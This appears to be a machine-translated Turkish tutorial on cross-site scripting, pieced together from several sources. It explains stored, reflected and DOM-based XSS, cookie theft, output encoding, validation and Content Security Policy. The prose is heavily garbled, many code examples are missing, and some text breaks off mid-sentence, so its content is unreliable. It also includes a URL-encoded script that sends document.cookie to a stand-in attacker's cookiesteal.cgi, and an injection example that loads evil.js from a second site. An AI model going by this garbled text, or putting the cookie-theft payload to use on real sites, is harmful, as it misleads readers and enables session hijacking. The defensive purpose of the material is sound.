XSS güvenlik açıklarını maksimuma kullanarak. XSS Saldırıları: Nelerdir ve tehlikeli XSS saldırısı eğitimi nelerdir?

XSS aracılığıyla, deneyimli saldırganlar, virüs bulaşan kaynakları ziyaret ettiği zamanlar üzerinde yapılan komut dosyaları üzerinde çalışan sitelerin sayfalarına entegre eder. Farklı bir tehlike derecesini temsil eden birkaç tür XSS güvenlik açıkları vardır.

Pasif ve aktif güvenlik açığının özellikleri

En dikkatli bir şekilde aktif güvenlik açığını tedavi etmeye değer. Bir saldırgan SQL kodunu uygun fiyatlı bir veritabanına veya sunucuya dosyaya uyguladığında, enfekte olmuş kaynağın her bir ziyaretçisi mağdur olabilir. Bu tür yerler genellikle entegre edilir, bu nedenle, veritabanında depolanan veri işleme ilişkin veriler bile belirli bir tehlikeyi temsil etmeye devam edebilir.

Pasif bir XSS güvenlik açığı oluşturmak, belirli bir ustalık saldırganı gerektirir. Ya, her türlü referansla bir denizaltı kaynağında, ya da gerekli siteyi yönlendirmek için herhangi bir şekilde deniyorlar. Bu genellikle, hesap ayarlarını kontrol etme istekleri ile ziyaret ettiğiniz sayfanın kurgusal yönetiminden harflerle olur. Ayrıca, geniş çapta ziyaret edilen forumlarda çeşitli spam haber bültenlerini veya yayınlarını aktif olarak kullandılar.

Pasif XSS Güvenlik Açığı, hem yayından hem de get-parametrelerinden geçebilir. İlk olarak, bir dizi farklı püf noktaları, ikinci için - URL hattının kodlanması ya ek değerler ekler.

Kaçırılma Çerezleri

En sık, XSS saldırısının hedefi olan çerezlerinizdir. Bazen, kullanıcı girişleri ve şifreler veya karma dahil olmak üzere onlarda değerli bilgiler vardır. Ancak bu yeterli tehlikelidir ve aktif oturumların hırsızlığını sizin için önemli siteler için önemlidir, bu nedenle bir ev bilgisayarından siteleri ziyaret ederken bile "çıktı" düğmesine basmayı unutmayın. Bu tür eylemlerin önlenmesi için kaynakların çoğu, oturumun süresinin otomatik kısıtlamasını kullanır. Bu tür saldırılardan XMLHTTpRequest'in etki alanı sınırlamaları kaydetmez.

Doldurulmuş formlardan gelen veriler

Popülerlik ve doldurulmuş formdaki bilgileri okuma. Bunu yapmak için, ilgi alanlarına neden olmak için, çalışma etkinlikleri çalışır (OnSubmit) ve sağlanan tüm veriler saldırgan sunucularına da gönderilir. Bu tür saldırılar, büyük ölçüde kimlik avına benzer, ancak hırsızlık sahte değil, gerçek sitede iyi bir üne sahip.

Dağıtılmış DDOS saldırıları

XSS aracılığıyla saldırılar için, çoklu iletilen kaynaklar kullanılır. XSS Güvenlik Açığı sayesinde, bunun bir sonucu olarak, korunmasının dayanmadığından, çatlak sunucuya gelen yönlendirme istekleri sayesinde.

Sahte Ara İçi Talepler (CSRF / XSRF)

Ayrıca xss ile çok az ortak var. Bu, XSS ile birlikte kullanılan ayrı bir çeşitli güvenlik açıklarıdır. Amaçları, yetkili bir kullanıcıyı, hileli operasyonlar için yenilmez bir siteden bir denizaltı savunmasız sayfasına getirmektir. Örneğin, bir elektronik ödeme sistemi kullanan bir müşteri, davetsiz misafirlerin hesaplarına para aktaran savunmasız bir siteye bağlanır. Bu nedenle, çoğu ödeme sisteminde, koruma, ek girilen şifre veya kod işlemini onaylamak için sağlar.

XSS solucanlarının tanıtımı

Bu tür bir XSS saldırısı, ünlü sosyal ağların gelişimi ile ortaya çıktı (VKontakte, Twitter ve diğerleri). Bunları aracılığıyla, tüm kullanıcı grupları, spam ağlarını adına gönderen entegre komut dosyalarıyla birlikte savunmasız XSS bağlantıları alırlar. Ayrıca, Yaygın olarak uygulanan ve davetsiz misafirlerin kaynakları üzerindeki fotoğrafları ve fotoğrafları geçer.

Masum xss örnekleri

Birçok metrenin aynı zamanda aktif XSS'nin rolünü gerçekleştirdiğini unutmayın. Ziyaretçilerin kaydedilmesiyle ilgili verilere devrediliyorlar (IP adresleri, kullanılan ekipmandaki veriler).

Yalnızca bu kod, bilgisayarınıza kendi iradenize entegredir. Diğer benzer XSS'ye, bir dizi CrossDomain Ajax sorgularını güvenle nitelendirebilirsiniz.

Site Bitkileri veya xss. Siteye Kadar Scripting (Senaryoların Intersight Yürütülmesi).

Sitenin site komut dosyası güvenlik açığının varlığı, saldırganın, kullanıcının tarayıcısına yönlendirilecek olan sunucuya yürütülebilir kodu sunucuya göndermesini sağlar. Bu kod tipik olarak HTML / JavaScript'te oluşturulur, ancak vbscript, ActiveX, Java, Flash veya tarayıcı tarafından desteklenen diğer teknoloji kullanılabilir.

İletilen kod, savunmasız sunucunun güvenlik bağlamında (veya güvenlik bölgesinde) yürütülür. Bu ayrıcalıkları kullanarak, kod, bir tarayıcı kullanarak önemli verileri okuma, değiştirme veya iletme yeteneğini alır. Saldıraklanan kullanıcıların avantajı (Çerez Hırsızlığı) tarafından tehlikeye girebilir, tarayıcısı başka bir sunucuya yönlendirilebilir veya sunucu içeriği ikame edilir. Dikkatlice planlanmış bir saldırının bir sonucu olarak, bir saldırgan, sitenin sayfalarını saldırgan kullanıcının adına görüntülemek için kurbanın tarayıcısını kullanabilir. Kod, URL'deki bir saldırgan tarafından, başlıklar ve HTTP sorgu protokolünün (çerez, kullanıcı aracısı, refferer), form alanlarının değerleri vb. İçin iletilebilir.

Senaryoların intersion uygulamasına yol açan üç tür saldırı vardır: kalıcı olmayan kalıcı olmayan (yansıtılır), kalıcı sabit (Kaydedilmiş) ve DOM tabanlı. Kalıcı ve kalıcı olmayanlar arasındaki temel fark, yansıtılan sürümde, kod sunucusunun iletilmesinin ve müşterisine geri dönüşünün tek bir HTTP isteği içinde ve depolanan - farklı olarak gerçekleştirilmesidir.

Kalıcı olmayan saldırının uygulanması, kullanıcının saldırganın oluşturduğu bağlantının üzerinden geçmesini gerektirir (bağlantı e-posta, ICQ, vb. Tarafından aktarılabilir). Siteyi indirme sürecinde, URL'ye gömülü kod veya sorgu başlıkları, müşteriye aktarılacak ve tarayıcısında yapılır.

Güvenlik açığının korunmuş değişimi, kodun sunucuya iletildiğinde ve bir süre için devam ettiğinde meydana gelir. Bu durumda, saldırıların en popüler hedefleri, web arayüzü ve sohbet odaları olan postalardır. Saldırı için, kullanıcının bağlantıyı geçmesi gerekmez, savunmasız siteyi ziyaret etmek yeterlidir.

    Misal. Bir saldırı seçeneği kaydedildi (ısrarcı). Birçok sitenin, kullanıcıların mesaj bırakmalarını sağlayan bülten panoları ve forumlara sahiptir. Kayıtlı kullanıcı tipik olarak numara ile tanımlanır

kurabiye kaydedildi oturumlar. Saldırgan, JavaScript'te kodu içeren bir mesaj bırakırsa, kullanıcı oturumu tanımlayıcısına erişim alır. Çerez Kodu Örnek:

    Misal. Yansıyan (ısrarcı olmayan) bir saldırı seçeneği. Birçok sunucu, kullanıcılara sunucu içeriğini aramak için yeteneği sağlar. Kural olarak, istek URL'ye iletilir ve ortaya çıkan sayfada bulunur.

Örneğin, URL http: //portal.example/Search? Q \u003d "Taze Bira" olarak değiştirilirken, kullanıcı arama sonuçlarını ve cümleyi içeren sayfa görüntülenecektir: "İsteğiniz üzerine 0 sayfa bulunur." JavaScript istenen bir cümle olarak aktarılırsa, kullanıcının tarayıcısında yürütülecektir. Misal:

Http: //portal.example/search/? Q \u003d

URLENCODE kodlaması, komut dosyasını gizlemek için kullanılabilir.

Http: //portal.example/index.php? SessionID \u003d 12312312 & username \u003d% 3C% 73% 63% 72% 69% 70% 74% 3E% 64% 6F% 63% 75% 62% 65% 6E% 74 % 2e% 6C% 6F% 63% 61% 74% 69% 62% 6E% 3D% 27% 68% 74% 74% 70% 3A% 2F% 2F% 61% 74% 74% 61% 63% 6B% 65% 65 % 72% 68% 6F% 73% 74% 2E% 65% 78% 61% 65% 78% 63% 65% 2F% 63% 67% 69% 2D% 62% 69% 6E% 2F% 63% 6F% 6F % 6B% 69% 65% 73% 74% 65% 61% 6C% 2E% 63% 67% 69% 3F% 27% 2B% 64% 62% 63% 75% 62% 65% 60% 74% 2E% 63% 63 % 6F% 6F% 6B% 69% 65% 3C% 2F% 73% 63% 72% 69% 70% 74% 3E

Flangan David JavaScript.

Flangan David Kitabından Alındı \u200b\u200bJavaScript Tam Kılavuz 5 Edition.

Site sitesi komut dosyası (çapraz "site komut dosyası) veya XSS terimi, saldırgan, savunmasız bir web sitesindeki belgelere HTML etiketlerini veya komut dosyalarını tanıttığında bilgisayar güvenlik açığı alanını belirtir. Xss saldırılarına karşı koruma organizasyonu - WebBurdenries nişanlı ortak bir şey Sunucu senaryolarının oluşturulmasında. Ancak, müşteri geliştiren programcılar JavaScript komut dosyaları, XSS saldırılarını da bilmeli ve onlara karşı korunmak için önlemler almalıdır.

Web sayfası, yerleşik HTML kodunu çıkarmak için ön işlemeyi geçmeyen kullanıcı verilerine dayanan bir belgenin içeriğini dinamik olarak oluşturursa, XSS saldırılarına karşı savunmasız olarak kabul edilir. Önemsiz bir örnek olarak, kullanıcıyı adıyla karşılamak için JavaScript komut dosyasını kullanan aşağıdaki Web sayfasını göz önünde bulundurun:

Komut dosyasının ikinci satırında, Window.Location.Search.Substring yöntemi, Adres çubuğunun hangi kısmının alındığı, sembolden başlayarak? Ardından, Document.Write () yöntemini kullanarak, dinamik olarak oluşturulan bir belge içeriği eklenir. Bu komut dosyası, web sayfasına erişmenin yaklaşık olarak bir URL adresi tarafından yapılacağını göstermektedir:

Http://www.example.com/greet.html?name\u003ddavid

Bu durumda, "Merhaba David" metni görüntülenecektir. Ancak sayfa bir sonraki URL adresini kullanarak istenirse ne olur:

Http://www.example.com/greet.html?name\u003d%3cscript%3Ealert ("David ')% 3C / Script% 3E.

Böyle bir içerikle, URL adres betiği dinamik olarak başka bir komut dosyası oluşturur (kodlar% 3C ve% 3E açısal braketlerdir)! Bu durumda, eklenen komut dosyası, herhangi bir tehlikeyi temsil etmeyen bir iletişim kutusu görüntüler. Ama böyle bir vakayı hayal edin:

Http: //sitea/greet.html? Name \u003d% 3CScript SRC \u003d SITEB / Evil.JS% 3E% 3C / Script% 3E

Siteden oluşan komut dosyası, birden fazla sitenin saldırıya katıldığıdır. B (veya hatta C sitesi C) sitesi, B. Evil.js Script'in saldırganı B web sitesinde bulunduğunu, ancak şimdi bir betiği içeren A sitesine özel olarak tasarlanmış bir bağlantı (yeni gösterilene benzer) içerir. Bu senaryo, A sitesinde uygulanmaya başlar ve Sitenin içeriğinden memnun olduğu her şeyi yapabilir. Sayfayı silebilir veya sitenin sitesinde bulunan diğer ihlalleri arayabilir (örneğin, bakımı reddetmek, Bir sonraki bölümde açıklandığı gibi). Sitenin ziyaretçilerini olumsuz yönde etkileyebilir. Böyle kötü niyetli bir senaryo, sitede depolanan çerezlerin içeriğini (muhtemelen hesap numaraları veya diğer kişisel bilgiler içeren) okuyabilecekleri çok daha tehlikeli olabilir ve bu verileri B'ye geri gönderebilir . Gömülü bir komut dosyası tuş vuruşlarını bile izleyebilir ve bu verileri Site B'ye gönderebilir.

XSSS'nin önlenmesinin evrensel yöntemi, belgenin içeriğini dinamik olarak oluşturmak için kullanmadan önce, şüpheli kökenli tüm verilerinden HTML etiketlerini kaldırmaktır. Bu sorunu daha önce gösterilen dosya greet.html dosyasında düzeltmek için, bir sonraki satırı, etiketi çevreleyen köşe parantezlerini kaldırmak için tasarlanmış komut dosyasına eklemeniz gerekir.". Sayfayı ziyaret eden herhangi bir kullanıcı şimdi aşağıdaki cevabı alacak:


Son yorum:

Kullanıcının tarayıcısı sayfayı yüklediğinde, etiketlerin içinde yer alan JavaScript kodu dahil her şeyi gerçekleştirir. . Bu, saldırganın uygulanan komut dosyasının basit varlığının, hangi belirli komut dosyası kodunun gerçekten yürütüldüğünden bağımsız olarak bir sorun olduğunu göstermektedir.

İki Bölüm: XSS-Attack

XSS saldırısı katılımcıları

Xss saldırısının nasıl çalıştığını ayrıntılı olarak tanımlayacağınızdan önce, XSS saldırısının konularını tanımlamamız gerekir. Genel olarak, XSS saldırısında üç katılımcı vardır: İnternet sitesi, kurban, BEN. hırsız.

  • İnternet sitesi Onları isteyen kullanıcılar için HTML sayfaları verir. Örneklerimizde, http: // web sitesinde /.
    • Web Sitesi Veritabanı Site sayfalarındaki kullanıcılar tarafından girilen bazı verileri depolayan bir veritabanıdır.
  • Kurban - Bu, tarayıcısıyla sayfa talep eden bir web sitesinin normal bir kullanıcısıdır.
  • Saldırı - Bu, sitedeki XSS güvenlik açığının kullanımı yoluyla mağdur için bir saldırı başlatmayı planlayan bir saldırgandır.
    • Hırsız sunucusu - Bu, bir saldırganın kontrolü altındaki bir web sunucusudur - gizli mağdur bilgilerinin hırsızlığı. Örneklerimizde, http: // saldırgısında bulunur.

Örnek Senaryo Saldırısı

Bu komut dosyası, kullanıcının tarayıcısını saldırgan sunucuya yönlendirecek başka bir URL'ye bir HTTP isteği oluşturur. URL, bir HTTP isteği saldırgan sunucuya geldiğinde, bir sorgu parametresi olarak mağdur çerezleri içerir, bir saldırgan bu çerezleri istekden çıkarabilir. Saldırgan çerez aldıktan sonra, onları fedakarlığa vermek ve daha sonra bir saldırıyı başlatmak için kullanabilir.

Bu noktadan yukarıda gösterilen HTML koduna göre denir kötü niyetli dize veya kötü niyetli komut dosyası. Dizenin kendisinin yalnızca kurbanın tarayıcısındaki bir HTML kodu olarak işlenmesi durumunda, ancak bu yalnızca web sitesinde XSS güvenlik açığı mevcutsa oluşabileceği anlaşılmasını sağlamak önemlidir.

Bu örnek nasıl çalışır?

Aşağıdaki şema, bir saldırganın saldırısının bir örneğini göstermektedir:

  1. Saldırgan, web sitesi veritabanına kötü amaçlı bir dize eklemek için web sitesinin biçimlerinden birini kullanır.
  2. Kurban, sayfadan web sitesinden sorar.
  3. Site, veritabanından cevaben kötü amaçlı bir dize içerir ve kurbana gönderir.
  4. Mağdur Tarayıcı, cevabın içinde kötü amaçlı bir senaryo gerçekleştirir ve saldırgan sunucusuna kurban gönderir.

XSS tipleri.

XSS saldırısının amacı, her zaman kurbanın tarayıcısına kötü amaçlı bir JavaScript komut dosyası yapılır. Bu hedefe ulaşmak için temel olarak farklı yollar vardır. XSS saldırıları genellikle üç türe ayrılır:

  • Saklanan (Kalıcı) XSSKötü niyetli dizgenin web sitesi veritabanından kaynaklandığı yer.
  • Yansıyan (Kalıcı Olmayan) XSSKötü niyetli dizenin kurbanın isteğinden üretildiği yer.
  • Xss dom modelleriGüvenlik açığı, istemci tarafındaki kodda gerçekleştiğinde, sunucu kodunun yanında değil.

Önceki örnekte, depolanan XSS saldırısı gösterilir. Şimdi diğer iki xss-saldırı türünü tarif ediyoruz: XSS ve XSS-Attack Dom modellerini yansıtıyoruz.

Xss yansıyan.

Yansıyan bir XSS saldırısı durumunda, kötü amaçlı bir dize, kurbanın web sitesine olan isteğinin bir parçasıdır. Site, bu kötü amaçlı dizeyi kullanıcıya gönderilen kullanıcıya alır ve ekler. Aşağıdaki şema bu komut dosyasını göstermektedir:

  1. Kurban sahtekarlıkla URL isteğini web sitesine gönderir.
  2. Site, kurbana cevaben URL sorgusundan kötü amaçlı bir dize içermektedir.
  3. Kurbanın tarayıcısı, cevabında yer alan kötü amaçlı bir senaryo gerçekleştirir, davetsiz misafir sunucusuna kurbanları gönderir.

Yansıyan XSS Saldırısı nasıl başarılı bir şekilde yapılır?

Yansıyan XSS Saldırısı zararsız görünebilir, çünkü mağdurun adından kötü amaçlı bir dize içeren bir istek göndermesini gerektirir. Kimse gönüllü olarak saldırıya uğramayacağı için, saldırının gerçek bir şekilde yürütülmesinin yolu olmadığı görülmektedir.

Göründüğü gibi, fedakarlığı kendisine karşı yansıyan bir XSS saldırısını başlatmak için en az iki ortak yol var:

  • Kullanıcı belirli bir kişilikse, bir saldırgan mağdura kötü amaçlı bir URL gönderebilir (örneğin, e-posta veya haberci kullanarak) ve web sitesini ziyaret etmek için bir bağlantı açmaya zorlamak için aldatabilir.
  • Bir hedef büyük bir kullanıcı grubu ise, bir saldırgan, kötü amaçlı bir URL'ye bağlantı yayınlayabilir (örneğin, kendi web sitesinde veya bir sosyal ağda) ve bağlantıya devam edecek ziyaretçileri bekleyebilir.

Bu yöntemlerin her ikisi de benzerdir ve her ikisi de, URL'yi "kısaltmak" için hizmetleri kullanarak daha başarılı olabilir, kötü amaçlı dizgiyi onu tanımlayabilecek kullanıcılardan gizlerler.

DOM modelinde xss

DOM modelindeki XSS, depolanan ve yansıyan XSS saldırısı olarak bir seçenektir. Bu XSS saldırısında, kötü amaçlı dize, web sitesinin gerçek javascript'i gerçekleştirilinceye kadar mağdurun tarayıcısı tarafından işlenmez. Aşağıdaki şema, XSS saldırıları yansıtılan bu komut dosyasını göstermektedir:

  1. Saldırgan, kötü amaçlı bir dize içeren bir URL oluşturur ve kurbana gönderir.
  2. Mağdur saldırgan tarafından hilelidir, URL isteğini Web sitesine gönderir.
  3. Site bir istek alır, ancak cevap olarak kötü amaçlı bir dize içermez.
  4. Mağdur tarayıcı, yanıtta yer alan meşru bir komut dosyası gerçekleştirir, bunun sonucunda zararlı komut dosyasının sayfaya yerleştirileceği.
  5. Kurbanın tarayıcısı, mağdurun çerezlerini davetsiz misafir sunucusuna gönderen sayfaya yerleştirilmiş kötü amaçlı bir komut dosyası gerçekleştirir.
DOM modelinde XSS arasındaki fark nedir?

Kayıtlı ve yansıyan XSS saldırılarının önceki örneklerinden sunucu, daha sonra mağdura cevap olarak gönderilen sayfaya kötü amaçlı bir komut dosyası ekler. Kurbanın tarayıcısı bir cevap aldığında, kötü amaçlı komut dosyasının sayfanın meşru içeriğinin bir parçası olduğunu varsayar ve sayfa yükleme sırasında ve diğer senaryolarda otomatik olarak gerçekleştirdiğini varsayar.

DOM modeline XSS saldırıları örneğinde, kötü amaçlı komut dosyası sayfanın bir parçası olarak eklenmez; Sayfa yükü sırasında otomatik olarak yürütülen tek komut dosyası, sayfanın meşru bir parçasıdır. Sorun, bu meşru senaryonun, sayfaya HTML eklemek için doğrudan kullanıcı girişini kullanmasıdır. Kötü amaçlı dize, InnerHTML kullanarak sayfaya yerleştirildiğinden, zararlı betiğin gerçekleştirileceği bir sonucu olarak HTML olarak analiz edilir.

Bu ayrım küçük, ancak çok önemlidir:

  • Geleneksel XSS'de, Sunucu tarafından gönderilen HTML'nin bir parçası olarak, sayfa yüklendiğinde kötü amaçlı JavaScript yapılır.
  • DOM modelinde XSS durumunda, sayfayı yükledikten sonra kötü amaçlı JavaScript yapılır, sonuç olarak, meşru bir JavaScript olan bu sayfa, kullanıcı girişine uygun olmayan bir yol olarak adlandırılır (kötü amaçlı bir dize).
XSS DOM modelinde nasıl çalışır?

Önceki örnekte, JavaScript'e gerek yoktur; Sunucu, tüm HTML'yi kendi içinde üretebilir. Sunucu tarafındaki kod güvenlik açıkları içermiyorsa, web sitesi XSS güvenlik açıklarına tabi olmaz.

Bununla birlikte, web uygulamaları daha gelişmiş hale geldiğinden, istemci tarafında ve sunucuda değil, JavaScript kullanılarak artan miktarda HTML sayfası oluşturulur. İstediğiniz zaman, içeriğin tüm sayfayı güncellemeden değişmesi gerekir, JavaScript kullanarak mümkündür. Özellikle, AJAX sorgusundan sonra sayfanın güncellendiğinde bu durum budur.

Bu, XSS güvenlik açıklarının yalnızca sitenizin kodunun sunucu kısmında değil, aynı zamanda sitenizin istemcisinin JavaScript kodunun yanında bulunabileceği anlamına gelir. Sonuç olarak, sunucu tarafında tamamen güvenli bir kodla bile, istemci kodu, sayfayı indirdikten sonra DOM'u güncellerken kullanıcı verilerini girmek için hala güvenli bir şekilde etkinleştirilebilir. Bu olursa, istemcinin kodu XSS saldırısının sunucu tarafındaki kodun hatası olmasına izin verecek.

DOM modeline göre XSS sunucuya görünmez olabilir

Kötü amaçlı bir dizgenin hiçbir zaman web sitesine gönderilmediği bir DOM modelinde bir XSS saldırılarının özel bir durumu vardır: Bu, kötü amaçlı dize URL tanımlayıcısının (# sembolden sonra bir şey) bulunduğunda ortaya çıkar. Tarayıcılar, URL'nin bu bölümünü sunucuya göndermez, böylece web sitesinin sunucu tarafındaki kodu kullanarak erişimi yoktur. Bununla birlikte, müşteriden gelen kod, buna erişebilir ve bu nedenle güvenli olmayan işlemlerle bir XSS saldırısı yapmak mümkündür.

Bu durum, parça tanımlayıcısı ile sınırlı değildir. Ayrıca, sunucuya görünmeyen başka bir kullanıcı girişi, örneğin, yerel masa ve indexedDB gibi yeni HTML5 işlevleri.

Üçüncü Bölüm:
XSS önleme

XSS önleme yöntemleri

XSS'nin Dağıtım türünün bir saldırısı olduğunu hatırlayın: Kullanıcı tarafından girilen kullanıcı hatalı bir şekilde kötü amaçlı bir program kodu olarak yorumlanır. Bu tür kod enjeksiyonunu önlemek için, güvenli giriş işlemesi gereklidir. Bir web geliştiricisi için, güvenli giriş işleme işleminin gerçekleştirmenin iki temelde farklı yolu vardır:

  • Kodlama - Bu, kullanıcı tarafından yalnızca veri olarak veri girmenize izin veren ve tarayıcı işleminin kod olarak izin vermeyeceğiniz bir yoldur.
  • Onaylama - Bu yöntem, kullanıcı girişini filtreler, böylece tarayıcı kötü amaçlı komutlar olmadan kod olarak yorumlar.

Bunlar temel olarak XSS'yi önleme yöntemleri olmasına rağmen, bunlardan herhangi birini kullanırken anlayış için önemli olan birkaç genel özelliğe sahipler:

Bağlam Güvenli giriş işlemesi, kullanıcı girişinin sayfada kullanıldığı yere bağlı olarak farklı yapılmalıdır. Gelen / Giden Güvenli Giriş İşleme, siteniz giriş verilerini (gelen trafik) aldığında veya Site sayfası içeriğine (giden) özel bir giriş eklemeden önce gerçekleştirilebilir. Müşteri / Sunucu Güvenli giriş işlemi, istemci tarafında veya sunucu tarafında gerçekleştirilebilir, her bir seçenek farklı koşullar altında gereklidir.

Kodlama ve doğrulama çalışmalarının detaylarını açıklamadan önce, bu eşyaların her birini açıklıyoruz.

Kullanıcı girişini bağlamlarda işleme

Özel girişin uygulanabileceği bir web sayfasında birçok bağlam var. Her biri için özel kurallar yerine getirilmelidir, böylece kullanıcı girişi bağlamından "ayrılamaz" ve kötü amaçlı bir kod olarak yorumlanamadı. Aşağıda en yaygın bağlamlardır:

Bağlamların anlamı nedir?

Açıklanan tüm bağlamlarda, kullanıcı tarafından girilen kullanıcı ilk kodlama veya doğrulamaya eklendiğinde, XSS'ye giden güvenlik açığı oluşabilir. Bir saldırgan, bu bağlam için basit bir kapama ayırıcısı eklemenizi ve kötü amaçlı kod olduğundan, kötü amaçlı bir kodu tanıtabilir.

Örneğin, bir noktada, web sitesi kullanıcının doğrudan HTML özniteliğine veri girişini içeriyorsa, saldırgan, aşağıda gösterildiği gibi teklif girişini başlatarak kötü amaçlı bir komut dosyasını uygulayabilecektir:

Bu önlenebilir, basitçe kullanıcı girişindeki tüm alıntıları kaldırabilir ve her şey iyi olur, ancak yalnızca bu bağlamda. Giriş başka bir bağlam içine yerleştirilirse, kapanış ayırıcı farklı olacaktır ve enjeksiyon mümkün olacaktır. Bu nedenle, güvenli giriş işlemesi her zaman kullanıcı girişinin yerleştirileceği bağlamına uyarlanmalıdır.

Gelen / Giden Kullanıcı Girişi İşleme

İçgüdüsel olarak, sitemiz aldığı anda tüm kullanıcı girişini kodlamak veya onaylayarak XSS'nin önlenebileceği görünebilir. Böylece, herhangi bir kötü amaçlı çizgiler, sayfaya dahil edildiklerinde zaten nötralize edilecektir ve HTML oluşturma komut dosyaları, kullanıcı girişinin güvenli işlenmesiyle ilgilenmeleri gerekmez.

Sorun şu ki, kullanıcı tarafından girilen kullanıcı tarafından daha önce tarif edildiği gibi, sayfadaki birkaç bağlamda eklenebilir. Ve kullanıcı girişinin içeriğinde ne zaman geldiğini belirlemenin basit bir yolu yoktur - sonunda eklendiğinde ve aynı kullanıcı girişi genellikle farklı bağlamlarda takılmalıdır. XSS'yi önlemek için gelen girdilerin işlenmesine dayanarak, hatalara tabi olacak çok kırılgan bir çözüm yaratıyoruz. (Eski "Magic Quotes" PHP, böyle bir çözümün bir örneğidir.)

Bunun yerine, giden girişin işlenmesi, XSS'den ana koruma hattınız olmalıdır, çünkü kullanıcı tarafından girilen kullanıcının ekleneceği özel bağlamı dikkate alabilir. Bir dereceye kadar, gelen doğrulama, ikincil bir koruma katmanı eklemek için kullanılabilir, ancak daha sonra.

Güvenli kullanıcı giriş işleme işleminin gerçekleştirilmesi mümkündür

Çoğu modern web uygulamasında, kullanıcı girişi hem sunucu kodunun yanında ve istemci kodu tarafında işleniyor. Her türlü XSS'ye karşı korumak için, güvenli giriş işlemesi hem sunucu tarafındaki kodda hem de istemci kodu tarafında gerçekleştirilmelidir.

  • Geleneksel XSS'ye karşı korumak için, sunucu tarafındaki kodda güvenli giriş işlemleri yapılmalıdır. Bu, sunucu tarafından desteklenen bir dil ile yapılır.
  • Sunucunun hiçbir zaman kötü amaçlı bir dizgiyi almadığı DOM modelinde XSS saldırısına karşı korunmak için (örneğin, daha önce tanımlayıcı fragmanı aracılığıyla daha önce tarif edilen saldırı), güvenli giriş işlemesinin istemci tarafındaki kodda yapılmalıdır. Bu Javascript ile yapılır.

Şimdi, içeriğin neden olduğunu açıkladığımızda, neden gelen ve giden giriş işleme arasındaki farkın neden önemlidir ve neden güvenli giriş işlemesinin her iki tarafta ve istemci tarafında ve sunucu tarafında ve sunucu tarafında yapılmalıdır, açıklamaya devam edebiliriz. İki tür güvenli giriş işleme (kodlama ve doğrulama) gerçekte nasıl yapılır.

Kodlama

Kodlama, kullanıcı giriş tarayıcısının yalnızca veri olarak yorumlanması gerektiği gibi durumdan bir çıkış yoludur. Web geliştirmedeki en popüler kodlama türü, gibi karakterleri dönüştüren maskeleme HTML'dir. < ve > içinde < ve > sırasıyla.

Aşağıdaki pseudocode, kullanıcının (özel enter) tarafından girilen kullanıcının HTML maskeleme kullanılarak nasıl kodlanabileceğine ve sunucu senaryosunu kullanarak sayfaya eklenebilir bir örneğidir:

yazdır " "
Yazdır "Son yorum:"
Yazdır EncodeHTML (KullanıcıNet)
Yazdır ""

Kullanıcı aşağıdaki satıra girerse Elde edilen HTML şöyle görünecek:


Son yorum:

Özel değerlere sahip tüm semboller gizlenmiş olduğundan, tarayıcı, kullanıcı girişinin herhangi bir bölümünü HTML olarak sökmeyecektir.

Müşteri tarafındaki kodlama kodu ve sunucusu

İstemciden kodlama kodunu kodlama yaparken, farklı bağlamlar için verileri kodlayan yerleşik işlevlere sahip olan bir JavaScript dili kullanılır.

Sunucu tarafındaki kodunuzda kodlama yaparken, dilinizde veya çerçevenizdeki özelliklere güvenirsiniz. Çok sayıda dil ve mevcut çerçeve nedeniyle, bu öğretici, kodlama ayrıntılarını herhangi bir sunucuda veya çerçevede kaplamaz. Bununla birlikte, istemci tarafında kullanılan JavaScript kodlama işlevleri, kodu sunucu tarafındaki yazarken de kullanılır.

Müşteri tarafında kodlama

JavaScript kullanarak özel bir istemci girişini kodlarken, içeriğe bağlı tarzdaki tüm verileri otomatik olarak otomatik olarak kodlayan bir dahili yöntem ve özellik vardır:

Yukarıda belirtilen son bağlam (JavaScript'teki değerler) bu listeye dahil edilmez, çünkü JavaScript, JavaScript kaynak kodunda etkinleştirilecek yerleşik bir veri kodlama yöntemi sağlamaz.

Kodlama Kısıtlamaları

Kodlama yaparken bile, bazı bağlamlarda kötü amaçlı çizgiler kullanmak mümkündür. Bunun parlak bir örneği, örneğin aşağıdaki örnekte, URL'yi sağlamak için kullanıcı girişinin kullanıldığı zamandır:

belge.queryselector ("A"). HREF \u003d UserInput

HREF Element özelliğindeki belirtilen değer otomatik olarak kodlar, böylece öznitelik değerinden daha fazla olmasa da, bu, "JavaScript:" ile başlayan bir URL eklemez. Bağlantıya tıkladığınızda, yapıya bakılmaksızın, URL içindeki yerleşik JavaScript yapılır.

Kodlama, kullanıcıların sayfadaki HTML kodlarının bir kısmını kullanmasını istediğinizde etkili bir çözüm değildir. Bir örnek, kullanıcının Kullanıcı HTML'yi kullanabileceği kullanıcı profil sayfasıdır. Bu her zamanki HTML kodlanırsa, profil sayfası sadece basit bir metinden oluşabilecektir.

Bu gibi durumlarda, kodlama, daha fazla bileceğimiz doğrulama ile tamamlanmalıdır.

Onaylama

Doğrulama, kullanıcı girişini filtreleme eylemidir, böylece tüm kötü amaçlı parçaların, içindeki tüm kodu çıkarmaya gerek kalmadan kaldırılacak. Web geliştirmedeki en çok kullanılan doğrulama türlerinden biri, bazı HTML elemanlarını kullanmanıza izin verir (örneğin, ve ) Ama başkalarını zorlamak (örneğin,

Düzgün bir şekilde belirli bir CSP politikasıyla, tarayıcı kötü amaçlı-script.js indirip çalıştıramaz, çünkü http: // saldırganı / güvenilir bir kaynak olarak belirtilmemiştir. Site kullanıcı girişini bu durumda güvenli bir şekilde işleme koyamıyor olsa da, CSP politikası güvenlik açığını engelledi ve herhangi bir zarar vermesine neden oldu.

Saldırgan, senaryo kodunun içindeki kodla enjekte edilmemiş olsa bile, harici dosyaya referansla değil, doğru yapılandırılmış CSP politikası, enjeksiyonu JavaScript koduna güvenlik açığını önleyen ve herhangi bir zarar vermesine neden olacaktır.

CSP'yi nasıl etkinleştirirsiniz?

Varsayılan olarak, tarayıcılar CSP kullanmazlar. Web sitenizde SCP'yi etkinleştirmek için, sayfalar ek bir HTTP başlığı içermelidir: İçerik Güvenliği - Politikası. Bu başlığı içeren herhangi bir sayfa, tarayıcının CSP'yi desteklemesi şartıyla, bir tarayıcıyı önyükleyerek güvenlik politikaları uygular.

Güvenlik politikası her HTTP yanıtı ile gönderildiğinden, her sayfa için sunucuya bir politika ayrı ayrı kurmak mümkündür. Aynı politika, her cevapta aynı CSP başlığını ekleyerek web sitesine de uygulanabilir.

İçerik-güvenlik-politika başlığındaki içerik, sitenizde çalışacak bir veya daha fazla güvenlik politikasını tanımlayan bir dize içerir. Bu dizgenin sözdizimi aşağıda açıklanacaktır.

